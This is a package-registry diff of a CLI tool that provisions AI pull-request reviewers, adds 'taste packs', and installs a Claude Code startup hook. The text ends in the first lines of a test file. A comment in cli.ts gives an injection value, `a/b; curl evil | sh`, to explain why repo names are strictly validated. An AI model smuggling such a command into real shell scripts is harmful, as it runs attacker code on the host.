@stupify/cli 0.1.0 → 0.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.review/CORPUS.md +28 -57
- package/.review/CORPUS.template.md +73 -0
- package/README.md +79 -23
- package/package.json +5 -3
- package/packs/antirez.md +10 -0
- package/packs/anton-kropp.md +10 -0
- package/packs/dhh.md +10 -0
- package/packs/dtolnay.md +10 -0
- package/packs/jarred-sumner.md +9 -0
- package/packs/mitchell-hashimoto.md +10 -0
- package/packs/rich-harris.md +10 -0
- package/packs/simon-willison.md +10 -0
- package/packs/sindre-sorhus.md +10 -0
- package/packs/tanner-linsley.md +10 -0
- package/packs/zod.md +10 -0
- package/src/cli.ts +293 -25
- package/src/prime-install.test.ts +109 -0
- package/src/prime.ts +50 -0
- package/src/review-sweep.test.ts +101 -0
- package/src/review-sweep.ts +59 -25
package/src/cli.ts
CHANGED
|
@@ -8,18 +8,40 @@
|
|
|
8
8
|
* `stupify run [--dry]` → run one review sweep right now.
|
|
9
9
|
*/
|
|
10
10
|
import { spawnSync } from 'node:child_process'
|
|
11
|
-
import { copyFileSync, existsSync, mkdirSync, writeFileSync } from 'node:fs'
|
|
11
|
+
import { copyFileSync, existsSync, mkdirSync, readFileSync, rmSync, writeFileSync } from 'node:fs'
|
|
12
12
|
import { homedir } from 'node:os'
|
|
13
13
|
import { dirname, join } from 'node:path'
|
|
14
14
|
import { fileURLToPath } from 'node:url'
|
|
15
|
-
import { cancel, confirm, intro, isCancel, log, note, outro, spinner, text } from '@clack/prompts'
|
|
15
|
+
import { cancel, confirm, intro, isCancel, log, multiselect, note, outro, spinner, text } from '@clack/prompts'
|
|
16
16
|
import pc from 'picocolors'
|
|
17
|
+
import { emitPrime } from './prime'
|
|
17
18
|
|
|
18
19
|
const PKG_DIR = dirname(fileURLToPath(import.meta.url))
|
|
20
|
+
const PKG_ROOT = join(PKG_DIR, '..') // the published package root: holds .review/ and packs/
|
|
19
21
|
const HOME = process.env.STUPIFY_HOME ?? join(homedir(), '.stupify')
|
|
20
22
|
const STATE = join(HOME, 'state')
|
|
21
23
|
const REQUIRED = ['bun', 'gh', 'codex', 'git'] as const
|
|
22
24
|
|
|
25
|
+
// Taste packs: "code like X". Picking one (or several) seeds the corpus, so you don't start from a blank file.
|
|
26
|
+
interface Pack {
|
|
27
|
+
id: string
|
|
28
|
+
label: string
|
|
29
|
+
kind: 'taste' | 'perf'
|
|
30
|
+
}
|
|
31
|
+
const PACKS: Pack[] = [
|
|
32
|
+
{ id: 'anton-kropp', label: 'Anton Kropp (devshorts) — DI + branded types', kind: 'taste' },
|
|
33
|
+
{ id: 'zod', label: 'Colin McDonnell / Zod — parse, don’t validate', kind: 'taste' },
|
|
34
|
+
{ id: 'sindre-sorhus', label: 'Sindre Sorhus — one file, one job', kind: 'taste' },
|
|
35
|
+
{ id: 'rich-harris', label: 'Rich Harris / Svelte — compiler-grade precision', kind: 'taste' },
|
|
36
|
+
{ id: 'tanner-linsley', label: 'Tanner Linsley / TanStack — types forbid bad states', kind: 'taste' },
|
|
37
|
+
{ id: 'mitchell-hashimoto', label: 'Mitchell Hashimoto / Ghostty — documented tradeoffs', kind: 'taste' },
|
|
38
|
+
{ id: 'simon-willison', label: 'Simon Willison — one concept per file', kind: 'taste' },
|
|
39
|
+
{ id: 'dtolnay', label: 'David Tolnay — the API that disappears (Rust)', kind: 'taste' },
|
|
40
|
+
{ id: 'antirez', label: 'antirez / Redis — comments that earn their keep (C)', kind: 'taste' },
|
|
41
|
+
{ id: 'dhh', label: 'DHH / Rails — controllers that tell the story (Ruby)', kind: 'taste' },
|
|
42
|
+
{ id: 'jarred-sumner', label: 'Jarred Sumner / Bun — perf as correctness', kind: 'perf' },
|
|
43
|
+
]
|
|
44
|
+
|
|
23
45
|
function bail<T>(value: T | symbol): asserts value is T {
|
|
24
46
|
if (isCancel(value)) {
|
|
25
47
|
cancel('aborted.')
|
|
@@ -27,6 +49,11 @@ function bail<T>(value: T | symbol): asserts value is T {
|
|
|
27
49
|
}
|
|
28
50
|
}
|
|
29
51
|
|
|
52
|
+
function die(message: string): never {
|
|
53
|
+
log.error(message)
|
|
54
|
+
process.exit(1)
|
|
55
|
+
}
|
|
56
|
+
|
|
30
57
|
function which(bin: string): string | null {
|
|
31
58
|
return Bun.which(bin)
|
|
32
59
|
}
|
|
@@ -50,7 +77,14 @@ function detectRepo(): string | null {
|
|
|
50
77
|
.replace(/^[a-z]+:\/\/[^/]+\//, '')
|
|
51
78
|
.replace(/^git@[^:]+:/, '')
|
|
52
79
|
.replace(/\.git$/, '')
|
|
53
|
-
return
|
|
80
|
+
return validRepo(slug) ? slug : null
|
|
81
|
+
}
|
|
82
|
+
|
|
83
|
+
// Strict owner/repo — GitHub names are word chars / dot / hyphen only. This is also a security boundary:
|
|
84
|
+
// `repo` is interpolated into a shell setup-script that runs on the VM, so anything looser than this would
|
|
85
|
+
// let `a/b; curl evil | sh` through.
|
|
86
|
+
function validRepo(r: string): boolean {
|
|
87
|
+
return /^[\w.-]+\/[\w.-]+$/.test(r)
|
|
54
88
|
}
|
|
55
89
|
|
|
56
90
|
function installCron(opts: { ghHost: string }): string {
|
|
@@ -68,7 +102,79 @@ function installCron(opts: { ghHost: string }): string {
|
|
|
68
102
|
return line
|
|
69
103
|
}
|
|
70
104
|
|
|
71
|
-
|
|
105
|
+
// The short human label for a set of picked packs, e.g. "Sindre Sorhus + Anton Kropp" — for plan/success notes.
|
|
106
|
+
const tasteLabel = (packs: string[]): string =>
|
|
107
|
+
PACKS.filter((p) => packs.includes(p.id)).map((p) => p.label.split(' — ')[0]).join(' + ')
|
|
108
|
+
|
|
109
|
+
// Returns the chosen pack ids. `--pack a,b` (or 'own'/'' = your own codebase) skips the prompt; with --yes and
|
|
110
|
+
// no flag it defaults to the devshorts pack so a fresh repo reviews immediately.
|
|
111
|
+
async function pickPacks(opts: { yes: boolean; packArg?: string }): Promise<string[]> {
|
|
112
|
+
if (opts.packArg !== undefined) {
|
|
113
|
+
return opts.packArg.split(',').map((s) => s.trim()).filter((id) => id && id !== 'own' && PACKS.some((p) => p.id === id))
|
|
114
|
+
}
|
|
115
|
+
if (opts.yes) return ['anton-kropp']
|
|
116
|
+
if (!process.stdin.isTTY) return [] // non-interactive (CI, scripts, the install hook): never block on a picker
|
|
117
|
+
const choice = await multiselect({
|
|
118
|
+
message: 'Whose code should yours look like? (pick any — or your own)',
|
|
119
|
+
options: [
|
|
120
|
+
...PACKS.map((p) => ({ value: p.id, label: p.label, ...(p.kind === 'perf' ? { hint: 'perf' } : {}) })),
|
|
121
|
+
{ value: 'own', label: '🧠 my own codebase', hint: 'point CORPUS.md at your files yourself' },
|
|
122
|
+
],
|
|
123
|
+
required: false,
|
|
124
|
+
})
|
|
125
|
+
bail(choice)
|
|
126
|
+
return choice.filter((v) => v !== 'own')
|
|
127
|
+
}
|
|
128
|
+
|
|
129
|
+
// Build ~/.stupify/.review from the bundled rubric/prompt + the chosen packs' corpus. The engine uses this when
|
|
130
|
+
// the target repo has no .review/ of its own — so taste packs work with zero files in your repo.
|
|
131
|
+
function assembleReview(packs: string[]): void {
|
|
132
|
+
const out = join(HOME, '.review')
|
|
133
|
+
mkdirSync(out, { recursive: true })
|
|
134
|
+
copyFileSync(join(PKG_ROOT, '.review', 'RUBRIC.md'), join(out, 'RUBRIC.md'))
|
|
135
|
+
copyFileSync(join(PKG_ROOT, '.review', 'REVIEW-PROMPT.md'), join(out, 'REVIEW-PROMPT.md'))
|
|
136
|
+
if (packs.length === 0) {
|
|
137
|
+
copyFileSync(join(PKG_ROOT, '.review', 'CORPUS.template.md'), join(out, 'CORPUS.md')) // the bring-your-own template
|
|
138
|
+
return
|
|
139
|
+
}
|
|
140
|
+
const header = `# Good-code reference — taste packs\n\nJudge every diff against the standards below. When you flag slop, name the principle (or the linked file) the change should have followed. The links are commit-pinned exemplars — open them when you need detail.\n\n---\n\n`
|
|
141
|
+
const body = packs.map((id) => readFileSync(join(PKG_ROOT, 'packs', `${id}.md`), 'utf8').trim()).join('\n\n---\n\n')
|
|
142
|
+
writeFileSync(join(out, 'CORPUS.md'), `${header}${body}\n`)
|
|
143
|
+
}
|
|
144
|
+
|
|
145
|
+
// `stupify taste [--pack a,b]` — assemble your GLOBAL taste at ~/.stupify/.review from packs, and nothing else.
|
|
146
|
+
// This is the shared core both the reviewer and `stupify prime` read when a repo has no .review/ of its own —
|
|
147
|
+
// so you can set taste once without installing the cron reviewer.
|
|
148
|
+
async function taste(argv: { pack?: string }): Promise<void> {
|
|
149
|
+
console.clear()
|
|
150
|
+
intro(pc.bgMagenta(pc.black(' stupify ')) + pc.dim(' — pick the code yours should look like'))
|
|
151
|
+
const packs = await pickPacks({ yes: false, packArg: argv.pack })
|
|
152
|
+
if (packs.length === 0) {
|
|
153
|
+
note(
|
|
154
|
+
[
|
|
155
|
+
`no packs picked. taste packs seed a global corpus at ${pc.cyan(join(HOME, '.review'))}.`,
|
|
156
|
+
`for YOUR-OWN-codebase taste, add a ${pc.cyan('.review/')} to a repo instead ${pc.dim('(a repo .review/ always wins)')}.`,
|
|
157
|
+
].join('\n'),
|
|
158
|
+
'nothing to assemble',
|
|
159
|
+
)
|
|
160
|
+
outro(pc.dim('run again and pick at least one pack.'))
|
|
161
|
+
return
|
|
162
|
+
}
|
|
163
|
+
assembleReview(packs)
|
|
164
|
+
const tasteLine = tasteLabel(packs)
|
|
165
|
+
note(
|
|
166
|
+
[
|
|
167
|
+
`assembled ${pc.cyan(join(HOME, '.review'))} against ${pc.bold(tasteLine)}.`,
|
|
168
|
+
`your global taste — read by the reviewer AND ${pc.cyan('stupify prime')} in any repo without its own .review/.`,
|
|
169
|
+
``,
|
|
170
|
+
`${pc.bold('next:')} ${pc.cyan('stupify prime --install')} ${pc.dim('— prime Claude Code with it every session')}`,
|
|
171
|
+
].join('\n'),
|
|
172
|
+
'taste ready',
|
|
173
|
+
)
|
|
174
|
+
outro(pc.green('your taste is set 🎯'))
|
|
175
|
+
}
|
|
176
|
+
|
|
177
|
+
async function setup(argv: { repo?: string; host?: string; yes: boolean; pack?: string }): Promise<void> {
|
|
72
178
|
console.clear()
|
|
73
179
|
intro(pc.bgMagenta(pc.black(' stupify ')) + pc.dim(' — sounds dumb, reviews sharp'))
|
|
74
180
|
|
|
@@ -105,11 +211,12 @@ async function setup(argv: { repo?: string; host?: string; yes: boolean }): Prom
|
|
|
105
211
|
const answer = await text({
|
|
106
212
|
message: 'GitHub repo to review',
|
|
107
213
|
placeholder: 'owner/repo',
|
|
108
|
-
validate: (v) => (
|
|
214
|
+
validate: (v) => (validRepo((v ?? '').trim()) ? undefined : 'expected owner/repo'),
|
|
109
215
|
})
|
|
110
216
|
bail(answer)
|
|
111
217
|
repo = answer.trim()
|
|
112
218
|
}
|
|
219
|
+
if (!validRepo(repo)) die(`'${repo}' is not a valid owner/repo`)
|
|
113
220
|
|
|
114
221
|
// 3. integration host (exe.dev) — can't be detected
|
|
115
222
|
let host = argv.host ?? process.env.GH_HOST ?? ''
|
|
@@ -123,10 +230,17 @@ async function setup(argv: { repo?: string; host?: string; yes: boolean }): Prom
|
|
|
123
230
|
host = answer.trim()
|
|
124
231
|
}
|
|
125
232
|
|
|
233
|
+
// 3.5 taste — pick a pack (or your own code)
|
|
234
|
+
const packs = await pickPacks({ yes: argv.yes, packArg: argv.pack })
|
|
235
|
+
const tasteLine = packs.length
|
|
236
|
+
? tasteLabel(packs)
|
|
237
|
+
: 'your own codebase'
|
|
238
|
+
|
|
126
239
|
// 4. plan + confirm
|
|
127
240
|
note(
|
|
128
241
|
[
|
|
129
242
|
`${pc.dim('repo ')} ${pc.bold(repo)}`,
|
|
243
|
+
`${pc.dim('taste ')} ${pc.bold(tasteLine)}`,
|
|
130
244
|
host
|
|
131
245
|
? `${pc.dim('auth ')} exe.dev integration ${pc.bold(host)} ${pc.dim('— exe-llm gateway, no keys')}`
|
|
132
246
|
: `${pc.dim('auth ')} your own gh + codex ${pc.dim('(run `gh auth login` first)')}`,
|
|
@@ -149,6 +263,7 @@ async function setup(argv: { repo?: string; host?: string; yes: boolean }): Prom
|
|
|
149
263
|
s2.start('installing')
|
|
150
264
|
mkdirSync(STATE, { recursive: true })
|
|
151
265
|
copyFileSync(join(PKG_DIR, 'review-sweep.ts'), join(HOME, 'review-sweep.ts'))
|
|
266
|
+
assembleReview(packs)
|
|
152
267
|
const cfg = [`REPO_SLUG=${repo}`, host ? `GH_HOST=${host}` : '', '# tune anything else here — see the README']
|
|
153
268
|
.filter(Boolean)
|
|
154
269
|
.join('\n')
|
|
@@ -156,18 +271,139 @@ async function setup(argv: { repo?: string; host?: string; yes: boolean }): Prom
|
|
|
156
271
|
installCron({ ghHost: host })
|
|
157
272
|
s2.stop(pc.green('installed') + pc.dim(` → ${HOME}`))
|
|
158
273
|
|
|
159
|
-
// 6. success
|
|
274
|
+
// 6. success
|
|
275
|
+
const preview = `${pc.dim('preview anytime:')} ${pc.cyan(`DRY_RUN=1 bun ${join(HOME, 'review-sweep.ts')}`)}`
|
|
276
|
+
if (packs.length) {
|
|
277
|
+
note(
|
|
278
|
+
[
|
|
279
|
+
`reviewing ${pc.bold(repo)} against ${pc.bold(tasteLine)}.`,
|
|
280
|
+
`open a PR (or push to one) → stupify reviews it in ~60s. ${pc.dim('no labels, no setup.')}`,
|
|
281
|
+
``,
|
|
282
|
+
`want your OWN taste instead? add a ${pc.cyan('.review/')} to ${pc.bold(repo)} — it overrides the pack.`,
|
|
283
|
+
preview,
|
|
284
|
+
].join('\n'),
|
|
285
|
+
"you're set",
|
|
286
|
+
)
|
|
287
|
+
} else {
|
|
288
|
+
note(
|
|
289
|
+
[
|
|
290
|
+
`${pc.bold('1.')} add a ${pc.cyan('.review/')} to ${pc.bold(repo)} and point ${pc.cyan('CORPUS.md')} at YOUR best files`,
|
|
291
|
+
`${pc.bold('2.')} open a PR → stupify reviews it in ~60s ${pc.dim('(no labels needed)')}`,
|
|
292
|
+
``,
|
|
293
|
+
preview,
|
|
294
|
+
].join('\n'),
|
|
295
|
+
'two steps to your first review',
|
|
296
|
+
)
|
|
297
|
+
}
|
|
298
|
+
outro(pc.green('stupify is watching ') + pc.bold(repo) + pc.green(' 👀'))
|
|
299
|
+
}
|
|
300
|
+
|
|
301
|
+
// --- prime: wire `stupify prime` into Claude Code as a SessionStart hook (self-contained, install ⇄ uninstall) ---
|
|
302
|
+
// The hook EMITTER lives in the dependency-free ./prime module (also copied to ~/.stupify/prime.ts on install,
|
|
303
|
+
// so the hook runs with no global install / node_modules). Everything below only manages the wiring.
|
|
304
|
+
|
|
305
|
+
const PRIME_ENGINE = join(HOME, 'prime.ts') // the dep-free copy the hook actually runs; also our marker in settings.json
|
|
306
|
+
|
|
307
|
+
/** Claude Code's user settings file. CLAUDE_CONFIG_DIR overrides ~/.claude (and makes this testable). */
|
|
308
|
+
const claudeSettingsPath = (): string => join(process.env.CLAUDE_CONFIG_DIR ?? join(homedir(), '.claude'), 'settings.json')
|
|
309
|
+
|
|
310
|
+
/** Read settings.json (or {} if absent). Throws on malformed JSON so callers refuse to clobber a broken file. */
|
|
311
|
+
function readSettings(path: string): Record<string, unknown> {
|
|
312
|
+
if (!existsSync(path)) return {}
|
|
313
|
+
return JSON.parse(readFileSync(path, 'utf8')) as Record<string, unknown>
|
|
314
|
+
}
|
|
315
|
+
|
|
316
|
+
type HookEntry = { matcher?: string; hooks?: { type?: string; command?: string }[] }
|
|
317
|
+
const isOurHook = (e: HookEntry): boolean => (e.hooks ?? []).some((h) => (h.command ?? '').includes(PRIME_ENGINE))
|
|
318
|
+
|
|
319
|
+
async function installPrimeHook(argv: { pack?: string }): Promise<void> {
|
|
320
|
+
console.clear()
|
|
321
|
+
intro(pc.bgMagenta(pc.black(' stupify ')) + pc.dim(' — prime Claude Code with your taste'))
|
|
322
|
+
|
|
323
|
+
// 0. ensure GLOBAL taste exists for the hook to inject. The hook runs in EVERY repo; a repo's own .review/
|
|
324
|
+
// wins, but ~/.stupify/.review is the fallback, so without it the hook would no-op everywhere. Assemble it
|
|
325
|
+
// here (explicit --pack always (re)assembles; otherwise pick only when none exists) so install just works.
|
|
326
|
+
const haveHomeTaste = existsSync(join(HOME, '.review', 'RUBRIC.md')) && existsSync(join(HOME, '.review', 'CORPUS.md'))
|
|
327
|
+
if (argv.pack !== undefined || !haveHomeTaste) {
|
|
328
|
+
const packs = await pickPacks({ yes: false, packArg: argv.pack })
|
|
329
|
+
if (packs.length > 0) {
|
|
330
|
+
assembleReview(packs)
|
|
331
|
+
const tasteLine = tasteLabel(packs)
|
|
332
|
+
log.success(`global taste assembled → ${pc.cyan(join(HOME, '.review'))} ${pc.dim(`(${tasteLine})`)}`)
|
|
333
|
+
} else if (!haveHomeTaste) {
|
|
334
|
+
log.warn(`no global taste yet — the hook will no-op until a repo has its own ${pc.cyan('.review/')} or you run ${pc.cyan('stupify taste')}`)
|
|
335
|
+
}
|
|
336
|
+
}
|
|
337
|
+
|
|
338
|
+
// 1. drop the dep-free emitter where the hook can run it fast, no global install needed
|
|
339
|
+
mkdirSync(HOME, { recursive: true })
|
|
340
|
+
copyFileSync(join(PKG_DIR, 'prime.ts'), PRIME_ENGINE)
|
|
341
|
+
const command = `${stableBun()} ${PRIME_ENGINE}`
|
|
342
|
+
|
|
343
|
+
// 2. merge our SessionStart hook into settings.json — never clobber existing hooks/settings, never duplicate
|
|
344
|
+
const path = claudeSettingsPath()
|
|
345
|
+
let settings: Record<string, unknown>
|
|
346
|
+
try {
|
|
347
|
+
settings = readSettings(path)
|
|
348
|
+
} catch {
|
|
349
|
+
die(`couldn't parse ${path} — fix or remove it, then retry (left it untouched)`)
|
|
350
|
+
}
|
|
351
|
+
const hooks = (settings.hooks ??= {}) as Record<string, HookEntry[]>
|
|
352
|
+
const sessionStart = (hooks.SessionStart ??= [])
|
|
353
|
+
const existing = sessionStart.find(isOurHook)
|
|
354
|
+
// Refresh the command on re-install too — `command` carries the resolved bun path, which can move (a new bun
|
|
355
|
+
// install, a Homebrew relocation). Updating only the engine file but leaving a stale path would silently break.
|
|
356
|
+
if (existing) existing.hooks = [{ type: 'command', command }]
|
|
357
|
+
else sessionStart.push({ matcher: 'startup', hooks: [{ type: 'command', command }] })
|
|
358
|
+
const already = existing !== undefined
|
|
359
|
+
mkdirSync(dirname(path), { recursive: true })
|
|
360
|
+
writeFileSync(path, `${JSON.stringify(settings, null, 2)}\n`)
|
|
361
|
+
|
|
160
362
|
note(
|
|
161
363
|
[
|
|
162
|
-
|
|
163
|
-
|
|
164
|
-
|
|
364
|
+
already
|
|
365
|
+
? `already wired in ${pc.cyan(path)} ${pc.dim('(refreshed engine + command)')}`
|
|
366
|
+
: `added a ${pc.bold('SessionStart')} hook to ${pc.cyan(path)}`,
|
|
367
|
+
`every new Claude Code session now opens primed with your taste ${pc.dim('(~30ms, no-op if a repo has none)')}.`,
|
|
165
368
|
``,
|
|
166
|
-
`${pc.dim('
|
|
369
|
+
`${pc.dim('undo:')} ${pc.cyan('stupify prime --uninstall')}`,
|
|
167
370
|
].join('\n'),
|
|
168
|
-
'
|
|
371
|
+
"you're primed",
|
|
169
372
|
)
|
|
170
|
-
outro(pc.green('
|
|
373
|
+
outro(pc.green('Claude Code will write to your taste from the first line 🧠'))
|
|
374
|
+
}
|
|
375
|
+
|
|
376
|
+
function uninstallPrimeHook(): void {
|
|
377
|
+
console.clear()
|
|
378
|
+
intro(pc.bgMagenta(pc.black(' stupify ')) + pc.dim(' — remove the Claude Code prime hook'))
|
|
379
|
+
const path = claudeSettingsPath()
|
|
380
|
+
let removed = false
|
|
381
|
+
if (existsSync(path)) {
|
|
382
|
+
let settings: Record<string, unknown>
|
|
383
|
+
try {
|
|
384
|
+
settings = readSettings(path)
|
|
385
|
+
} catch {
|
|
386
|
+
die(`couldn't parse ${path} — fix or remove it, then retry (left it untouched)`)
|
|
387
|
+
}
|
|
388
|
+
const hooks = settings.hooks as Record<string, HookEntry[]> | undefined
|
|
389
|
+
if (hooks?.SessionStart) {
|
|
390
|
+
const kept = hooks.SessionStart.filter((e) => !isOurHook(e))
|
|
391
|
+
removed = kept.length !== hooks.SessionStart.length
|
|
392
|
+
if (kept.length > 0) hooks.SessionStart = kept
|
|
393
|
+
else delete hooks.SessionStart
|
|
394
|
+
if (Object.keys(hooks).length === 0) delete settings.hooks
|
|
395
|
+
writeFileSync(path, `${JSON.stringify(settings, null, 2)}\n`)
|
|
396
|
+
}
|
|
397
|
+
}
|
|
398
|
+
rmSync(PRIME_ENGINE, { force: true }) // drop the copied engine too
|
|
399
|
+
|
|
400
|
+
note(
|
|
401
|
+
removed
|
|
402
|
+
? `removed the SessionStart hook from ${pc.cyan(path)}. your other hooks + settings are untouched.`
|
|
403
|
+
: `no stupify prime hook found ${pc.dim('(nothing to remove)')}.`,
|
|
404
|
+
'done',
|
|
405
|
+
)
|
|
406
|
+
outro(pc.green('unprimed.'))
|
|
171
407
|
}
|
|
172
408
|
|
|
173
409
|
function run(dry: boolean): void {
|
|
@@ -205,7 +441,7 @@ function githubIntegrationFor(repo: string): string | null {
|
|
|
205
441
|
|
|
206
442
|
const vmNameFor = (repo: string): string => 'stupify-' + repo.toLowerCase().replace(/[^a-z0-9]+/g, '-').replace(/^-|-$/g, '')
|
|
207
443
|
|
|
208
|
-
async function provision(argv: { repo?: string; yes: boolean }): Promise<void> {
|
|
444
|
+
async function provision(argv: { repo?: string; yes: boolean; pack?: string }): Promise<void> {
|
|
209
445
|
console.clear()
|
|
210
446
|
intro(pc.bgMagenta(pc.black(' stupify ')) + pc.dim(' — provision a reviewer on exe.dev'))
|
|
211
447
|
|
|
@@ -237,11 +473,15 @@ async function provision(argv: { repo?: string; yes: boolean }): Promise<void> {
|
|
|
237
473
|
const answer = await text({
|
|
238
474
|
message: 'GitHub repo to review',
|
|
239
475
|
placeholder: 'owner/repo',
|
|
240
|
-
validate: (v) => (
|
|
476
|
+
validate: (v) => (validRepo((v ?? '').trim()) ? undefined : 'expected owner/repo'),
|
|
241
477
|
})
|
|
242
478
|
bail(answer)
|
|
243
479
|
repo = answer.trim()
|
|
244
480
|
}
|
|
481
|
+
if (!validRepo(repo)) die(`'${repo}' is not a valid owner/repo`)
|
|
482
|
+
|
|
483
|
+
// 2.5 taste — pick a pack (or your own code); the VM installs it on first boot
|
|
484
|
+
const packs = await pickPacks({ yes: argv.yes, packArg: argv.pack })
|
|
245
485
|
|
|
246
486
|
// 3. GitHub integration — reuse an existing one, else create it (needs your GitHub linked once, on the web)
|
|
247
487
|
const s2 = spinner()
|
|
@@ -262,13 +502,17 @@ async function provision(argv: { repo?: string; yes: boolean }): Promise<void> {
|
|
|
262
502
|
}
|
|
263
503
|
}
|
|
264
504
|
const host = `${integration}.int.exe.xyz`
|
|
505
|
+
const tasteLine = packs.length
|
|
506
|
+
? tasteLabel(packs)
|
|
507
|
+
: 'your own codebase'
|
|
265
508
|
|
|
266
509
|
// 4. plan + confirm
|
|
267
510
|
note(
|
|
268
511
|
[
|
|
269
|
-
`${pc.dim('repo')} ${pc.bold(repo)}`,
|
|
270
|
-
`${pc.dim('
|
|
271
|
-
`${pc.dim('
|
|
512
|
+
`${pc.dim('repo ')} ${pc.bold(repo)}`,
|
|
513
|
+
`${pc.dim('taste')} ${pc.bold(tasteLine)}`,
|
|
514
|
+
`${pc.dim('vm ')} a small always-on exe.dev VM on your account`,
|
|
515
|
+
`${pc.dim('auth ')} integration ${pc.bold(integration)} ${pc.dim('— no keys, no tokens')}`,
|
|
272
516
|
].join('\n'),
|
|
273
517
|
'plan',
|
|
274
518
|
)
|
|
@@ -289,7 +533,7 @@ async function provision(argv: { repo?: string; yes: boolean }): Promise<void> {
|
|
|
289
533
|
'export PATH="$HOME/.bun/bin:/usr/local/bin:$PATH"',
|
|
290
534
|
'command -v bun >/dev/null 2>&1 || curl -fsSL https://bun.sh/install | bash',
|
|
291
535
|
'export PATH="$HOME/.bun/bin:$PATH"',
|
|
292
|
-
`exec bunx github:Octember/
|
|
536
|
+
`exec bunx github:Octember/stupify setup ${repo} --host ${host} --pack ${packs.join(',') || 'own'} --yes`,
|
|
293
537
|
].join('\n')
|
|
294
538
|
const created = exe(['new', '--name', vm, '--integration', integration, '--json', '--setup-script', '/dev/stdin'], script)
|
|
295
539
|
if (!created.ok) {
|
|
@@ -306,12 +550,22 @@ async function provision(argv: { repo?: string; yes: boolean }): Promise<void> {
|
|
|
306
550
|
s3.stop(pc.green(`VM ${pc.bold(vm)} created`) + pc.dim(` (${dest})`))
|
|
307
551
|
|
|
308
552
|
// 6. success
|
|
553
|
+
const firstReview = packs.length
|
|
554
|
+
? [
|
|
555
|
+
`reviewing ${pc.bold(repo)} against ${pc.bold(tasteLine)}.`,
|
|
556
|
+
`open a PR (or push to one) → stupify reviews it in ~60s. ${pc.dim('no labels, no setup.')}`,
|
|
557
|
+
``,
|
|
558
|
+
`want your OWN taste? add a ${pc.cyan('.review/')} to ${pc.bold(repo)} — it overrides the pack.`,
|
|
559
|
+
]
|
|
560
|
+
: [
|
|
561
|
+
`${pc.bold('1.')} add a ${pc.cyan('.review/')} dir to ${pc.bold(repo)} — copy this repo's .review/, point CORPUS.md at YOUR best files`,
|
|
562
|
+
`${pc.bold('2.')} open a PR → stupify reviews it in ~60s ${pc.dim('(no labels needed)')}`,
|
|
563
|
+
]
|
|
309
564
|
note(
|
|
310
565
|
[
|
|
311
566
|
`${pc.bold(vm)} is booting and installing stupify ${pc.dim('(~15s)')}.`,
|
|
312
567
|
``,
|
|
313
|
-
|
|
314
|
-
`${pc.bold('2.')} label any open PR ${pc.cyan('codex-review')} ${pc.dim('(or add .github/workflows/autolabel.yml)')}`,
|
|
568
|
+
...firstReview,
|
|
315
569
|
``,
|
|
316
570
|
`${pc.dim('watch:')} ${pc.cyan(`ssh ${dest} 'tail -f ~/.stupify/state/sweep.log'`)}`,
|
|
317
571
|
`${pc.dim('stop: ')} ${pc.cyan(`ssh exe.dev rm ${vm}`)}`,
|
|
@@ -329,10 +583,14 @@ ${pc.dim('Usage')} ${pc.dim('(run from your laptop)')}
|
|
|
329
583
|
stupify <owner/repo> provision for a specific repo
|
|
330
584
|
stupify setup [repo] install on THIS machine instead of provisioning a VM
|
|
331
585
|
stupify run [--dry] run one review sweep now (where stupify is installed)
|
|
586
|
+
stupify taste [--pack a,b] pick the code yours should look like (assembles ~/.stupify/.review)
|
|
587
|
+
stupify prime --install prime Claude Code with your taste every session (adds a SessionStart hook)
|
|
588
|
+
stupify prime --uninstall remove that hook
|
|
332
589
|
stupify --help
|
|
333
590
|
|
|
334
591
|
${pc.dim('Flags')}
|
|
335
592
|
--host <h.int.exe.xyz> integration host (for 'setup')
|
|
593
|
+
--pack <a,b,...> taste packs to review against (e.g. anton-kropp,zod); 'own' = bring your own .review/
|
|
336
594
|
--yes, -y accept detected defaults, no prompts (for CI / scripts)
|
|
337
595
|
|
|
338
596
|
${pc.dim("Provisioning rides exe.dev — onboard once with 'ssh exe.dev', then one command does the rest.")} https://stupif.ai`)
|
|
@@ -341,18 +599,28 @@ ${pc.dim("Provisioning rides exe.dev — onboard once with 'ssh exe.dev', then o
|
|
|
341
599
|
// --- routing ---
|
|
342
600
|
const args = process.argv.slice(2)
|
|
343
601
|
const yes = args.includes('--yes') || args.includes('-y')
|
|
344
|
-
const
|
|
345
|
-
const
|
|
346
|
-
|
|
602
|
+
const valueFlag = (name: string) => {
|
|
603
|
+
const i = args.indexOf(name)
|
|
604
|
+
return i >= 0 ? args[i + 1] : undefined
|
|
605
|
+
}
|
|
606
|
+
const host = valueFlag('--host')
|
|
607
|
+
const pack = valueFlag('--pack')
|
|
608
|
+
const positional = args.filter((a, i) => !a.startsWith('-') && args[i - 1] !== '--host' && args[i - 1] !== '--pack')
|
|
347
609
|
const cmd = positional[0]
|
|
348
610
|
|
|
349
611
|
if (args.includes('-h') || args.includes('--help')) {
|
|
350
612
|
help()
|
|
613
|
+
} else if (cmd === 'taste') {
|
|
614
|
+
await taste({ pack })
|
|
615
|
+
} else if (cmd === 'prime') {
|
|
616
|
+
if (args.includes('--install')) await installPrimeHook({ pack })
|
|
617
|
+
else if (args.includes('--uninstall')) uninstallPrimeHook()
|
|
618
|
+
else emitPrime() // bare `prime`: machine-called by the SessionStart hook — prints only the JSON payload
|
|
351
619
|
} else if (cmd === 'run') {
|
|
352
620
|
run(args.includes('--dry'))
|
|
353
621
|
} else if (cmd === 'setup') {
|
|
354
|
-
await setup({ repo: positional[1], host, yes })
|
|
622
|
+
await setup({ repo: positional[1], host, yes, pack })
|
|
355
623
|
} else {
|
|
356
624
|
// default (and explicit `provision`): provision an exe.dev VM
|
|
357
|
-
await provision({ repo: cmd === 'provision' ? positional[1] : cmd, yes })
|
|
625
|
+
await provision({ repo: cmd === 'provision' ? positional[1] : cmd, yes, pack })
|
|
358
626
|
}
|
|
@@ -0,0 +1,109 @@
|
|
|
1
|
+
// Guards the hook installer's contract — it writes to the user's Claude Code settings.json, so the invariants
|
|
2
|
+
// that matter are: MERGE (never clobber other hooks/keys), IDEMPOTENT (no duplicate), SURGICAL uninstall
|
|
3
|
+
// (remove only ours), and REFUSE malformed JSON. Driven through the real CLI subprocess against throwaway
|
|
4
|
+
// STUPIFY_HOME + CLAUDE_CONFIG_DIR dirs, so the real ~/.claude is never touched.
|
|
5
|
+
import { expect, test } from 'bun:test'
|
|
6
|
+
import { spawnSync } from 'node:child_process'
|
|
7
|
+
import { existsSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs'
|
|
8
|
+
import { tmpdir } from 'node:os'
